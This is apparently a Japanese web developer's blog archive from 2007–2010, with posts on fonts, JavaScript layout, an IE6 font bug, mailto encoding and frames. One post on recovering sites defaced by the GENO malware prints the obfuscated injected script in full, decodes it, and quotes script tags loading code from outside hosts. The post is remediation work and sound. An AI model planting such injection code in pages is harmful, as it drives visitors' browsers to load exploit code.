Top > ホームページ

2007年04月26日

Windowsプリンストールの和文フォントは意外に少ない

Windowsパソコンのフォントの話です。
今現在、Windowsで使われている一番多いバージョンはXPですので、WindowsXPを中心に話を進めます。

Windowsに初期インストールされている和文フォント(漢字フォント)は、何種類あるかご存じでしょうか。

実はたったの5種類しかないのです。
WindowsXPの標準和文フォント MSPゴシック、MSP明朝、MS UIゴシック、MSゴシック、MS明朝です。
最初の3つは、プロポーショナルフォントと呼ばれているもので、字の形によって字幅が変化します。
後者の2つは、等幅フォントと呼ばれるもので、字体が変わっても字幅は変化しません。ただし、1バイト文字(俗称:半角文字)は、2バイト文字(俗称全角文字)の半分の幅です。

Office2003をインストールした場合の和文フォント WindowsXPにOffice2003をインストールすると26書体の和文フォントが追加されます。

行書体、楷書体、教科書体、ポップ体などです。このくらいあると、ワープロなどでもある程度文字種を選んで見栄えを良くしたりできますね。
しかし、ホームページの世界では、あまりこのような書体を使いません。なぜなら、すべての人のパソコンが、このような書体をインストールしているとは限らないからです。
ですので、明朝体とゴシック体を使い分ける程度で、我慢します。

 

IT工房にんにく庵関連ページ

 

IT工房にんにく庵のホームページ作成

2007年06月22日

限定可変幅ページの作り方

可変幅のホームページは、いろいろなディスプレイ環境の人がホームページを見るのには、大変いいと思います。
でも、作る側からしてみると、デザインが難しいので、プロが作るホームページは、大抵固定幅です。
このところのディスプレイ事情は、XVGA(1024px×768px)以上ですので、ブラウザーを最大幅にして、左側にお気に入りなどを表示させると、コンテンツを表示できる幅は、800px以下ということになります。(推奨は750pxだそうです。)
幅800pxとして、その中の左サイドにナビゲーションなどを入れると、有効幅600pxくらいとなります。

一昔前のノートパソコンは、SVGA(800px×600px)でしたので、左サイドにお気に入りなんかを出しておくと、コンテンツの右側がはみ出してしまいます。

逆に最近はやりのワイドタイプSXGA+(1400px×1050px)などでは、左右に余白が多すぎて、もったいないです。まぁこのサイズクラスになってくると、最大表示でブラウザーを使うとダサイといわれますが・・・。

そこで本題です。画面サイズの小さいディスプレイには、できるだけ幅を縮めて表示してあげて、画面サイズの大きなディスプレイには、幅をある程度大きく表示させるような可変幅のホームページを見たことがある人はいると思います。IT工房にんにく庵のホームページもこのような作りになってます。このページを限定可変幅ページと勝手に名づけてしまいます。

最近のトレンドは、tableタグを使わず、divタグでレイアウトしますが、限定可変幅ページをdivタグで作ろうとすると、レイアウトの乱れに苦労させられて、挫折してしまいます。そこで、昔ながらのtableタグのお世話になります。

ウィンドウの幅が狭い場合 単純な可変幅ページは、tableタグのwidth属性に、80%とかのパーセンテージ指定をすれば、画面の大きさによって、勝手に幅が変わります。ただし、幅の小さい画面は、がんばって幅を小さくしてくれるために、右側にレイアウトしてたものが改行されて左に行ってしまったりして、デザインもへったくれもありません。逆に幅が大きくなると、右にデザインしたものだけが遙か彼方へ行ってしまい、間の抜けたものになってしまいます。

ウィンドウの幅が広い場合


この単純な可変幅ページを限定可変幅ページに改良します。HTMLのタグやCSS(スタイルシート)だけでは、実現できません。JavaScriptを使用します。
まず、bodyタグのイベント発生時にJavaScriptを実行する定義をします。

<body class="style1">

<body class="style1" onLoad="resize_waku('waku');" onResize="resize_waku('waku');">

つぎに、tableタグにidを定義します。idのwakuという名前は、bodyタグのイベント発生時に実行するJavaScriptの引数と同じものにします。

<table width="90%" height="500" border="0" align="center" cellpadding="5" cellspacing="0" class="style2">

<table width="90%" height="500" border="0" align="center" cellpadding="5" cellspacing="0" class="style2" id="waku">

JavaScriptをheadタグの中に記述します。

<script language="javascript">
<!--
function resize_waku(obj){
// ブラウザーの幅が大きい場合、あまり横に広げない
clientSize=getWindowClientSize(obj);
var obj1=document.getElementById(obj);
if(obj1){
//alert(obj1.tagName);
if(clientSize.width > 800){
//alert("800px以上");
obj1.style.width = "790px";
}else if(clientSize.width < 801 && clientSize.width > 630){
// 800px以下630px以上の場合は、最大幅で表示
//alert("630~800px");
obj1.style.width = "100%";
}else{
// 630px以下の場合は、620px固定表示
//alert("630px以下");
obj1.style.width = "620px";
}
}
}
function getWindowClientSize(){
// ブラウザーのサイズを取得
var result={"width":0,"height":0};
if(window.self&&self.innerWidth){
result.width=self.innerWidth;
result.height=self.innerHeight;
}else if(document.documentElement && document.documentElement.clientHeight){
result.width=document.documentElement.clientWidth;
result.height=document.documentElement.clientHe
ight;
}else{
result.width=document.body.clientWidth;
result.height=document.body.clientHeight;
}
return result;
}
//-->
</script>

限定可変幅ページの結果がこんな感じになります。
getWindowClientSize()関数の返値は、ウィンドウの外側のサイズですので、内側のサイズは、マイナス10pxくらいです。JavaScriptの詳細は割愛しますが、幅の指定にスタイルシートのwidth属性を変更しています。
JavaScriptのDOMという機能を使用したDynamic HTML使用例です。ブラウザーに依存しますので、古いブラウザーですと、うまく動作しません。また、JavaScriptを無効にしていると、通常の可変幅になります。

限定可変幅ページ狭くした例 限定可変幅ページ広くした例

 

IT工房にんにく庵関連ページ

 

IT工房にんにく庵のホームページ作成

2007年08月08日

UTF-8で作成されたHTMLを表示させると、文字の字体がおかしい

まだ、原因を追及中ですが、インターネットで検索しても、それらしいものが引っかからないので、お知らせしておきます。『MS ゴシック & MS 明朝 JIS2004 対応フォント(KB927489)をインストールするとUTF-8のホームページで字体がおかしくなる現象』をご覧下さい。

先日お客様のところにNEC社ノートパソコンVersa Pro(PC-VY16AEDJMFL1、WindowsXP SP2)を2台ほど納品しました。その後、インターネットエクスプローラ(IE6 SP1)にて、あるページを表示すると、文字の字体が他のパソコンと違い、おかしいとの報告が来ました。

原因を調査し、どういった環境でこの現象が起こるかまで突き止めましたが、機種に依存する問題なのか、追加で導入したアプリケーションのせいなのかまでは、絞り込めていません。
PCをHDDリカバリーすれば、切り分けできるのですが、すでに納品したものですので、そこまで思い切ったこともできません。

ちなみに追加で導入したアプリケーションは、以下のものです。

  • ノートPCに付属のWinDVD
  • 富士通ScanSnapドライバー、付属ソフト
  • Adobe Acrobat8スタンダード
  • ウィルスバスター2007
  • Microsoft Office 2003 パーソナル(プリインストール版)
  • 画像ソフト ViX
  • 圧縮解凍ソフト lhaplus
  • Visual Basic 6 SP6 ランタイム
  • googleツールバー
  • flashプレイヤー
  • Shockwaveプレイヤー
  • プリンタ用ドライバー

2007年11月5日追記
Windows XP professional x64 SP2 OEM版をインストールしたHP社 ML115でも同様な現象が発生しました。
Mozilla Firefoxで表示すると正常です。IEのレンダリングエンジンを使用しているSleipnirなどでは、UTF-8の字体がおかしくなりました。IE6の固有問題ということまで特定できました。

では、具体的にどんな状況にておかしな字体が表示されるかを説明します。

まず、HTMLドキュメントを文字コードUTF-8にて作成します。適当な文章を入力して、スタイルシートにて、フォントの字体を「MS P明朝」にします。
そのHTMLドキュメントをIE6にて表示すると、通常ですと明朝体で表示されるのですが、見たこともない変な字体になるのです。
下2枚のうち左が、Shift_JISで作成して表示したものです。これは正常な字体です。右がUTF-8で作成したものです。

Shift jisで作成すると、意図した字体で表示されます UTF8で作成すると、なぜか字体が変なことに・・・
Shift_JISで作成         UTF-8で作成


HTMLドキュメントは、このような指定になっています。

<style type="text/css">
<!--
.style1 {font-family: "MS Pゴシック"}
.style2 {font-family: "MS UI Gothic"}
.style3 {font-family: "MS ゴシック"}
.style4 {font-family: "MS 明朝"}
.style5 {font-family: "MS P明朝"}
-->
</style>
~省略~
<p>テストあいうえおかきくけこ&nbsp;関数無効可変属性内側横広引数発生実行</p>
<p class="style1">テストあいうえおかきくけこ&nbsp;関数無効可変属性内側横広引数発生実行</p>
<p class="style2">テストあいうえおかきくけこ&nbsp;関数無効可変属性内側横広引数発生実行</p>
<p class="style3">テストあいうえおかきくけこ&nbsp;関数無効可変属性内側横広引数発生実行</p>
<p class="style4">テストあいうえおかきくけこ&nbsp;関数無効可変属性内側横広引数発生実行</p>
<p class="style5">テストあいうえおかきくけこ&nbsp;関数無効可変属性内側横広引数発生実行</p>
<p>テストあいうえおかきくけこ&nbsp;関数無効可変属性内側横広引数発生実行</p>
<p>テストあいうえおかきくけこ&nbsp;関数無効可変属性内側横広引数発生実行</p>

スタイルにfont-familyを指定すると、意図した字体ではなくなることが分かります。たとえば、「MS Pゴシック」にすると、なぜかMS UIゴシックで表示されてしまいます。

EUCコードでどうなるかまでは追求していませんが、どんな結果になるのでしょうか。

EUCコードでは、正常に表示されました。UTF-16コードも文字の字体がおかしくなります。

●サンプル

  1. Shift_JISで作成したHTMLドキュメント
  2. UTF-8で作成したHTMLドキュメント
  3. EUC_JPで作成したHTMLドキュメント
  4. UTF-16で作成したHTMLドキュメント
  5. GB2312(簡字体)で作成したHTMLドキュメント

サンプルをクリックしてみて同じような現象がでる方があれば、ぜひコメントお願いします。

 

IT工房にんにく庵関連ページ

 

トラブル対応

2008年04月02日

MS ゴシック & MS 明朝 JIS2004 対応フォント(KB927489)をインストールするとUTF-8のホームページで字体がおかしくなる現象

Microsoft MS ゴシックおよび MS 明朝 JIS2004 対応フォント (KB927489)

Microsoft MS ゴシックおよび MS 明朝 JIS2004 対応フォント (KB927489)

KB927489適用後の表示

KB927489適用後の表示

プログラムの追加と削除

プログラムの追加と削除

utf-8で作成されたHTMLを表示させると、文字の字体がおかしい』で未解決でしたが、原因が判明しました。

Windows updateの「追加選択(ソフトウェア)」の一覧に、「Microsoft MS ゴシックおよび MS 明朝 JIS2004 対応フォント (KB927489)」というのがあります。WindowsXPまでは、漢字コード体系がJIS90(1990年版)でしたが、vistaからJIS2004(2004年版)に変更になりました。

出版業界や人名を扱う方々にとっては結構迷惑な改訂でして、同じ漢字コードなのに、表示される字体が変わってしまうのです。「檜山」としても「桧山」になるど困ることも多々あります。

本題に戻りますが、KB927489をインストールしますと、utf-8漢字コードで作成されていて、スタイルシート(CSS)のfont-familyにて、「MS ゴシック」、「MS Pゴシック」、「MS 明朝」、「MS P明朝」などを指定し、インターネットエクスプローラ6(Internet Explorer6、IE6)で表示すると意図しない気持ちの悪い字体となります。

解決方法は、コントロールパネルのプログラムの追加と削除から、「MS ゴシック & MS 明朝 JIS2004 対応フォント(KB927489)」を削除することです。

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

2009年10月27日

文字コードがS-JIS以外のHTMLで、mailto:の件名を文字化けさせずに指定する方法

htmlのaタグのsrc要素に mailto:メールアドレス?subject=件名 と指定して、aタグで囲まれた部分をクリックすると、メールソフトの新規入力画面が立ち上がって、宛先と件名部分に、文字が入力された状態になります。

具体例は、ここをクリック

件名部分に2バイト文字(漢字など)を使用することが多いと思いますが、htmlをshift jisコードで作成しないと、2バイト文字部分の文字化けが発生します。

以下、一般に使われている文字コードで作られたhtmlファイルです。

Shift JIS UTF-8 EUC -JP

 

システム的な制約や、多言語対応などで、Shift-JIS以外でhtmlを生成するケースで、mailtoのsubjectを2バイト文字で指定したい場合、どうするか?
私の場合、件名部分のみShift-JISコードに変換してURLエンコードしたものを、記述します。

以下のhtmlファイルが、「テストメール」という件名を、、それぞれShift JISコードで、URLエンコードしたものです。htmlの文字コードに左右されませんので、件名が文字化けしないと思います。

Shift JIS UTF-8 EUC-JP

上記のソースコード部分は、以下のような記述となっています。

<a href="mailto:test@local.jp?subject=%83e%83X%83g%83%81%81%5B%83%8B">メールを送る</a>

”テストメール”という2バイト文字をShift JISコードでURLエンコードしたものが、%83e%83X%83g%83%81%81%5B%83%8B となります。

phpプログラムでURLエンコードするツールを作成しましたので、公開しておきます。ご自由にお使い下さい。

なお、メールアドレス収集ロボット対策として、メールアドレス部分を10進数のHTMLエンティティ化するようにしてあります。

mailto変換プログラム

ソースコード

 

 

IT工房にんにく庵関連ページ

 

ホームページ制作

2009年11月19日

GENOウィルスに感染したサイトの回復

FTP情報をトロイの木馬型マルウェアに奪われ、サイトを改ざんされた事例が、後を絶ちません。

Adobe ReaderやAdobe Flash Playerの貧弱性をついたJava Scriptを読み込むように、されてしまいます(※)。ウェルス対策ソフトは、検知できるのですが、次々と亜種が出てきて、いたちごっこのようです。

(※)実際は、PDFファイルやFlashファイル内に悪意のあるプログラムを埋め込んだものをJava Scriptで読み込むように作られています。

先日も、GENOウィルス(正式名称Torojan.Win32/Daonol.H)にFTPパスワードを盗まれ、ホームページを改竄されてしまったサイトの復旧作業を依頼されて、対応しました。

手順としては、

1.感染したクライアントPCをネットワークから遮断する。

2.ホームページを運用しているFTPパスワードを、変更する。

3.できれば、一時的にホームページを閉鎖する。

4.感染したhtmlファイルやJava Scriptファイルを、クライアント側で保存してあるファイルで上書きアップロードする。

5.サイトを再開する。

6.GoogleやYahooなどで、ブラックリストにされている場合は、サイトの再審査手続きをする。

7.ホームページ更新用のクライアントPCは、ウィルス駆除もしくは、データバックアップ後、OSのリカバリーをする。

8.OS、アプリケーションは、常に最新の状態にしておく。

9.ホームページのサーバで、セキュアFTPが使えるようなら、SFTPや、FTP over SSLなどを使用する。

といった流れとなります。

今年5月のケースでは、手順7をデータのバックアップをせず、OSの再インストールを真っ先にしてしまい、クライアントサイドに、ホームページのバックアップが無く、サーバ上の改竄されたデータしかないとのこと。自分たちでは手がおえなく、依頼がきました。

この場合、手順4は、サーバから、データをダウンロードして、改ざんされたファイルを調べて、改ざん部分のみ削除。その後、ファイルをアップロードし直す。という手順になります。

改ざんされたファイルは、ファイルの更新日付を見ると、ほぼ推測がつきますので、あとは、どこが変更されたかを目で追って、その部分を削除していきます。

改ざんパターンは、一定ですので、秀丸エディタのgrep置換機能などを使えば、数百あるファイルでも、あっという間に更新できてしまいます。

改ざんパターンは、拡張子html、shtml、jsのファイル全てに、スクリプトが埋め込まれていました。

htmlのソースコードは、<body>タグの直前に、以下のような文字列が並んでいました。

<script language=javascript><!--
(function(ezEqY){var cTxf='var~20~61~3d~22~53c~72~69pt~45ngine~22~2c~62~3d~22V~65r~73io~6e()+~22~2cj~3d~22~22~2cu~3dna~76~69gator~2euser~41ge~6et~3bif((u~2e~69n~64exOf(~22C~68r~6f~6de~22)~3c~30)~26~26~28u~2ein~64exOf(~22Wi~6e~22)~3e0)~26~26(~75~2ein~64exOf~28~22NT~206~22)~3c0)~26~26(documen~74~2e~63~6fo~6b~69e~2e~69~6edexOf(~22mie~6b~3d1~22)~3c0~29~26~26~28type~6ff(~7a~72~76zts)~21~3dtypeof(~22A~22)~29)~7bzrvz~74s~3d~22~41~22~3bev~61~6c(~22~69f(w~69ndow~2e~22~2ba+~22~29j~3dj+~22+a+~22Majo~72~22~2bb+a+~22M~69~6eor~22~2bb+a+~22Build~22~2bb+~22j~3b~22)~3bdocu~6dent~2e~77~72it~65(~22~3cs~63r~69~70t~20s~72~63~3d~2f~2f~6dart~22+~22~75~7a~2ecn~2fvid~2f~3f~69d~3d~22~2bj~2b~22~3e~3c~5c~2fscript~3e~22)~3b~7d';eval(unescape(cTxf.replace(ezEqY,'%')))})(/\~/g);
--></script>

Java Scriptのファイルも<script>タグのないものが行末に追加されていました。

<!--
(function(ezEqY){var cTxf='var~20~61~3d~22~53c~72~69pt~45ngine~22~2c~62~3d~22V~65r~73io~6e()+~22~2cj~3d~22~22~2cu~3dna~76~69gator~2euser~41ge~6et~3bif((u~2e~69n~64exOf(~22C~68r~6f~6de~22)~3c~30)~26~26~28u~2ein~64exOf(~22Wi~6e~22)~3e0)~26~26(~75~2ein~64exOf~28~22NT~206~22)~3c0)~26~26(documen~74~2e~63~6fo~6b~69e~2e~69~6edexOf(~22mie~6b~3d1~22)~3c0~29~26~26~28type~6ff(~7a~72~76zts)~21~3dtypeof(~22A~22)~29)~7bzrvz~74s~3d~22~41~22~3bev~61~6c(~22~69f(w~69ndow~2e~22~2ba+~22~29j~3dj+~22+a+~22Majo~72~22~2bb+a+~22M~69~6eor~22~2bb+a+~22Build~22~2bb+~22j~3b~22)~3bdocu~6dent~2e~77~72it~65(~22~3cs~63r~69~70t~20s~72~63~3d~2f~2f~6dart~22+~22~75~7a~2ecn~2fvid~2f~3f~69d~3d~22~2bj~2b~22~3e~3c~5c~2fscript~3e~22)~3b~7d';eval(unescape(cTxf.replace(ezEqY,'%')))})(/\~/g);
-->

この部分をざっくり削除してしまえば、いいわけです。

置換文字列は、^\(function\(ezEqY\)\{var.*\/g\);\n としました。行頭(function(ezEqY){var までが ^\(function\(ezEqY\)\{var です。中間部は、 .* として全てにマッチ。行末部 /g); は、 \/g\);\n で改行部分まで、置換対象としてあります。置換文字列中 \マークは、(、)、/、{などのメタキャラクタをエスケープするためのものです。

秀丸エディタの「grepして置換」ダイアログのスクリーンショットです。

 


 

埋め込まれたスクリプトは難読化してありますので、解析してみます。まず、可読性を高めるために改行します。

(function(ezEqY){
var cTxf='var~20~61~3d~22~53c~72~69pt~45ngine~22~2c~62~3d~22V~65r~73io~6e()+~22~2cj~3d~22~22~2cu~3dna~76~69gator~2euser~41ge~6et~3bif((u~2e~69n~64exOf(~22C~68r~6f~6de~22)~3c~30)~26~26~28u~2ein~64exOf(~22Wi~6e~22)~3e0)~26~26(~75~2ein~64exOf~28~22NT~206~22)~3c0)~26~26(documen~74~2e~63~6fo~6b~69e~2e~69~6edexOf(~22mie~6b~3d1~22)~3c0~29~26~26~28type~6ff(~7a~72~76zts)~21~3dtypeof(~22A~22)~29)~7bzrvz~74s~3d~22~41~22~3bev~61~6c(~22~69f(w~69ndow~2e~22~2ba+~22~29j~3dj+~22+a+~22Majo~72~22~2bb+a+~22M~69~6eor~22~2bb+a+~22Build~22~2bb+~22j~3b~22)~3bdocu~6dent~2e~77~72it~65(~22~3cs~63r~69~70t~20s~72~63~3d~2f~2f~6dart~22+~22~75~7a~2ecn~2fvid~2f~3f~69d~3d~22~2bj~2b~22~3e~3c~5c~2fscript~3e~22)~3b~7d';
eval(unescape(cTxf.replace(ezEqY,'%')))
})
(/\~/g);

変数 cTxf 内の ~ を % に置換します。

var%20%61%3d%22%53c%72%69pt%45ngine%22%2c%62%3d%22V%65r%73io%6e()+%22%2cj%3d%22%22%2cu%3dna%76%69gator%2euser%41ge%6et%3bif((u%2e%69n%64exOf(%22C%68r%6f%6de%22)%3c%30)%26%26%28u%2ein%64exOf(%22Wi%6e%22)%3e0)%26%26(%75%2ein%64exOf%28%22NT%206%22)%3c0)%26%26(documen%74%2e%63%6fo%6b%69e%2e%69%6edexOf(%22mie%6b%3d1%22)%3c0%29%26%26%28type%6ff(%7a%72%76zts)%21%3dtypeof(%22A%22)%29)%7bzrvz%74s%3d%22%41%22%3bev%61%6c(%22%69f(w%69ndow%2e%22%2ba+%22%29j%3dj+%22+a+%22Majo%72%22%2bb+a+%22M%69%6eor%22%2bb+a+%22Build%22%2bb+%22j%3b%22)%3bdocu%6dent%2e%77%72it%65(%22%3cs%63r%69%70t%20s%72%63%3d%2f%2f%6dart%22+%22%75%7a%2ecn%2fvid%2f%3f%69d%3d%22%2bj%2b%22%3e%3c%5c%2fscript%3e%22)%3b%7d

unescapeします。デコードスクリプト

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("<script src=//mart"+"uz.cn/vid/?id="+j+"><\/script>");}

改行を入れると。

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;
if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){
zrvzts="A";
eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");
document.write("<script src=//mart"+"uz.cn/vid/?id="+j+"><\/script>");
}

「http://martuz.cn/vid/?id=Webブラウザの種類」というようなスクリプトを読み込んで実行します。ブラウザのセキュリティーホールを利用した悪意のあるスクリプトを埋め込むことができます。
googleで「martuz.cn」をキーワード検索してみると、どうやらAdobe Readerのセキュリティホールを利用したマルウェアのようです。

10月に対応したホームページは、難読化されておらず、Java Scriptが<body>タグの直前に埋め込まれていました。

<script src=http://omri.or.kr/data/test.php >

いたずらっぽいですが、test.phpの中身までは、検証しませんでした。

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

2010年05月15日

フレーム内のhtmlファイルが表示されるとき、親フレームを強制的に表示させる

フレームを使ったホームページ構成は、検索エンジンとの相性が良くないため、ホームページ制作する場合は、極力使わないようにしています。他サイトからのリンクもトップページに張ってもらわなければならず、有用な情報への直リンクがしにくくなります。

Googleなどで、”フレーム SEO”などのキーワードで検索すると、上位に理由が書かれた解説ページがヒットしますので、興味のある方は、しらみつぶしに読んでみてください。

どうしてもフレームを使わないとならない場合の対策方法も上記のページに書かれています。フレーム内の素のhtmlファイルが表示されそうになったら、強制的に親フレームを表示させるようにjavascriptでプログラミングします。

 

通常のフレームページ例です。フレームを左右に分割してあります。

通常のフレームページ例

右サイドのコンテンツ1を新規で開くをクリックすると、main1.htmlが表示されます。

通常のフレームページ例

通常のフレームページ例

各フレームページのソース

index.html(フレームの枠になります)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
				<title>フレーム本体</title>
	</head>
	<frameset rows="*" cols="20%,*">
		<frame src="left.html" name="leftFrame" />
		<frame src="main1.html" name="mainFrame" />
</frameset>
	<noframes>
		<body>
			このブラウザーは、フレームがサポートされていません。
		</body>
	</noframes>
</html>

left.html(左サイドのソース)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>left.html</title>
	</head>
	<body>
		<ul>
			<li><a href="main1.html" target="mainFrame">コンテンツ1</a></li>
			<li><a href="main2.html" target="mainFrame">コンテンツ2</a></li>
		</ul>
	</body>
</html>

main1.html(右サイドのコンテンツ1のソース)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main1.html</title>
	</head>
	<body>
		<p>コンテンツ1</p>
		<a href="main1.html" target="_blank">コンテンツ1を新規で開く</a>
	</body>
</html>

main2.html(右サイドのコンテンツ2のソース)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main2.html</title>
	</head>
	<body>
		<p>コンテンツ2</p>
		<a href="main2.html" target="_blank">コンテンツ2を新規で開く</a>
	</body>
</html>

 

つぎに強制的にフレームページを表示させるようにしたしたものです。

強制的にフレームページを表示させるようにした例

右サイドの”コンテンツ1を新規で開く”をクリックすると、先ほどとは違いフレームページが開かれます。

強制的にフレームページを表示させるようにした例

強制的にフレームページを表示させるようにした例

左サイドでコンテンツ2を表示状態で”コンテンツ2を新規で開く”をクリックした場合も、フレームページが表示され、右サイドには、コンテンツ2が表示されます。

ただし、Internet ExplorerのVersion 6、7、8などは、コンテンツ2が表示されず、コンテンツ1が表示されます。

これは、location.hrefでページ移動した場合、document.referrerプロパティの値が空のため、元ページが分からないためです。IEの仕様ですのでどうすることもできません。FireFoxやSafariは、正しく機能します。

ポイントは、各コンテンツのページに親フレームが存在しないときは、locationで親フレームに移動します。親フレームのページ(index.html)には、コンテンツから移動してきた場合、コンテンツをmainFrameに表示させるようにscriptで変更させます。

コンテンツ3(main3.html)は、bodyタグのonLoadイベントに記述した例で、条件判定の方法は異なりますが、やはり、親フレームが存在しないときは、親フレームへ移動するようになっています。

各フレームページのソース

index.html(フレームの枠になります)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>フレーム本体</title>
		<script language="JavaScript">
			<!--
			function ChanePage(){
				var url = 'http://koubou.nin29.com/pics/heya/frame2/';
				var thisPage = document.location.href;
				var prevPage = document.referrer;
			   	if(thisPage != prevPage){
					if(prevPage.indexOf(url) > -1){
						var file = prevPage.substr(url.length);
						if(file != 'left.html'){
							parent.mainFrame.location.href = file;
						}
					}
				}
			}
			// -->
		</script>
	</head>
	<frameset rows="*" cols="20%,*" onLoad="ChanePage()">
		<frame src="left.html" name="leftFrame" />
		<frame src="main1.html" name="mainFrame" />
	</frameset>
	<noframes>
		<body>
			このブラウザーは、フレームがサポートされていません。
		</body>
	</noframes>
</html>

left.html(左サイドのソース)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>left.html</title>
	</head>
	<body>
		<ul>
			<li><a href="main1.html" target="mainFrame">コンテンツ1</a></li>
			<li><a href="main2.html" target="mainFrame">コンテンツ2</a></li>
			<li><a href="main3.html" target="mainFrame">コンテンツ3</a></li>
		</ul>
	</body>
</html>

main1.html(右サイドのコンテンツ1のソース)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main1.html</title>
		<script type="text/javascript">
			<!--//
				if(window.parent && window.self){
					if(window.parent.location == window.self.location){
						window.parent.location.href="index.html";
					}
				}
			//-->
		</script>
	</head>
	<body>
		<p>コンテンツ1</p>
		<a href="main1.html" target="_blank">コンテンツ1を新規で開く</a>
	</body>
</html>

main2.html(右サイドのコンテンツ2のソース)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main2.html</title>
		<script type="text/javascript">
			<!--//
				if(window.parent && window.self){
					if(window.parent.location == window.self.location){
						window.parent.location.href="index.html";
					}
				}
			//-->
		</script>
	</head>
	<body>
		<p>コンテンツ2</p>
		<a href="main2.html" target="_blank">コンテンツ2を新規で開く</a>
	</body>
</html>

main3.html(右サイドのコンテンツ3のソース)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main3.html</title>
	</head>
	<body onLoad="if (parent.frames.length==0) top.location='index.html'">
		<p>コンテンツ3</p>
		<a href="main3.html" target="_blank">コンテンツ3を新規で開く</a>
	</body>
</html>

 

インラインフレームの場合

インラインフレームも同様の方法で、iframe内のソース部分のみが表示されてしまうのを防ぐことができます。

インラインフレームの場合

インラインフレームの場合

 

各フレームページのソース

index.html(メインページになります)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>インラインフレーム本体</title>
		<script language="JavaScript">
			<!--
			function ChanePage(){
				var url = 'http://koubou.nin29.com/pics/heya/frame3/';
				var thisPage = document.location.href;
				var prevPage = document.referrer;
			   	if(thisPage != prevPage){
					if(prevPage.indexOf(url) > -1){
						var file = prevPage.substr(url.length);
						parent.mainFrame.location.href = file;
					}
				}
			}
			// -->
		</script>
	</head>
	<body onLoad="ChanePage()">
		<ul>
			<li><a href="main1.html" target="mainFrame">コンテンツ1</a></li>
			<li><a href="main2.html" target="mainFrame">コンテンツ2</a></li>
			<li><a href="main3.html" target="mainFrame">コンテンツ3</a></li>
		</ul>
		<iframe src="main1.html" name="mainFrame" width="100%"></iframe>
	</body>
</html>

main1.html(コンテンツ1)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main1.html</title>
		<script type="text/javascript">
			<!--//
				if(window.parent && window.self){
					if(window.parent.location == window.self.location){
						window.parent.location.href="index.html";
					}
				}
			//-->
		</script>
	</head>
	<body>
		<p>コンテンツ1</p>
		<a href="main1.html" target="_blank">コンテンツ1を新規で開く</a>
	</body>
</html>

main2.html(コンテンツ2)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
